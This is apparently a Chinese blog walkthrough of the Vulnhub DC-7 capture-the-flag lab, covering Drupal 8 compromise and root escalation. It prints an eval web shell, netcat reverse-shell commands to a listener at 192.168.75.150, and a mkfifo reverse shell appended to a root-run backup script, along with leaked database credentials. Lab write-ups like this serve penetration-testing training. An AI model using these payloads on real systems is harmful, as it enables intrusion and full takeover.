DC-7-Drupal-脚本文件提权

Vulnhub靶机介绍

Vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行练习,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。
靶机DC7还是只有拿到root权限才可以发现最终的flag。

01 环境搭建

靶机环境下载:https://www.vulnhub.com/entry/dc-7,356/

DC-7 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
While this isn't an overly technical challenge, it isn't exactly easy.
While it's kind of a logical progression from an earlier DC release (I won't tell you which one), there are some new concepts involved, but you will need to figure those out for yourself. :-) If you need to resort to brute forcing or dictionary attacks, you probably won't succeed.
What you will need to do, is to think "outside" of the box.
Waaaaaay "outside" of the box. :-)
The ultimate goal of this challenge is to get root and to read the one and only flag.

提示只有一个flag并且不需要暴力破解

02 信息收集

常规扫描

arp-scan -l

image.png

端口扫描

使用nmap对目标靶机开放的端口进行扫描

nmap -Pn -n -sV 192.168.75.159

image.png
开启了ssh(22端口),web服务(80端口)
web服务是drupal 8
这个CMS和DC-1是一样的,DC-1是drupal 7这个是drupal 8
image.png

03 Get Shell

根据网站信息社工

重新查看题目信息,发现有一些提示
这个题目源自一个早期版本
image.png
在网站首页上比以前系列的题目多了一行信息@DC7USER
image.png
搜索@DC7USER发现在GitHub上有这个账户
image.png
进入后发现一个staffdb项目,在项目中发现一个带有账户信息的文件
image.png

<?php
	$servername = "localhost";
	$username = "dc7user";
	$password = "MdR3xOgB7#dW";
	$dbname = "Staff";
	$conn = mysqli_connect($servername, $username, $password, $dbname);
?>

看代码是个数据库账号,但是目前没有可以登录数据库的接口,尝试用这个账户登录web,失败,登录ssh成功
image.png
image.png

获得web账户

查询用户的sudo配置,搜索suid程序都没有找到能有效提权的方法
在home目录下有个mbox文件,和一些备份文件
看一下mbox文件发现在/opt/scripts/ 有个可以执行的脚本文件 backups.sh
image.png

cd /opt/scripts/ #进入目录
cat backups.sh #查看文件

image.png
里面调用了drush命令,drush是drupal shell专门管理drupal站点的shell
进入到/var/www/html目录下,使用drush命令修改admin用户的密码为123456

drush user-password admin --password="123456"

image.png
使用admin账户登录成功
image.png

反弹shell

需要反弹shell,登入成功后在Content—>Add content–>Basic page下需要添加一个PHP模板
但是这里好像不支持php只有html,查了查需要单独安装插件让它支持php语言

https://www.drupal.org/project/php #插件下载地址
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz #模块包

image.png
image.png
有个绿色✔就是成功
image.png
image.png
然后在首页进行编辑,添加php木马代码,保存text format设置为PHP cod然后使用蚁剑进行连接

<?php
@eval($_REQUEST[8]);
?>

image.png
image.png
然后需要把shell回弹到kali上面

nc 192.168.75.150 4444 -e /bin/sh

开启监听nc -lvp 4444回弹成功
设置交互python -c 'import pty;pty.spawn("/bin/bash")'
image.png
image.png

04 提权

在/opt/scripts目录下的backups.sh脚本文件所属组是www-data,所以www-data用户可以对这个脚本文件进行操作,并且这个脚本文件定时执行可以利用它来反弹shell
因为sh文件是root执行的,所以返回的也是root权限

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.75.150 7777 >/tmp/f" >> backups.sh

image.png
image.png
Kali设置nc -lvp 7777
等待定时任务执行,执行后便获得rootshell,接着进入交互shell

python -c "import pty;pty.spawn('/bin/bash')"

image.png
image.png

posted @ 2024-05-04 21:57  NoCirc1e  阅读(35)  评论(0编辑  收藏  举报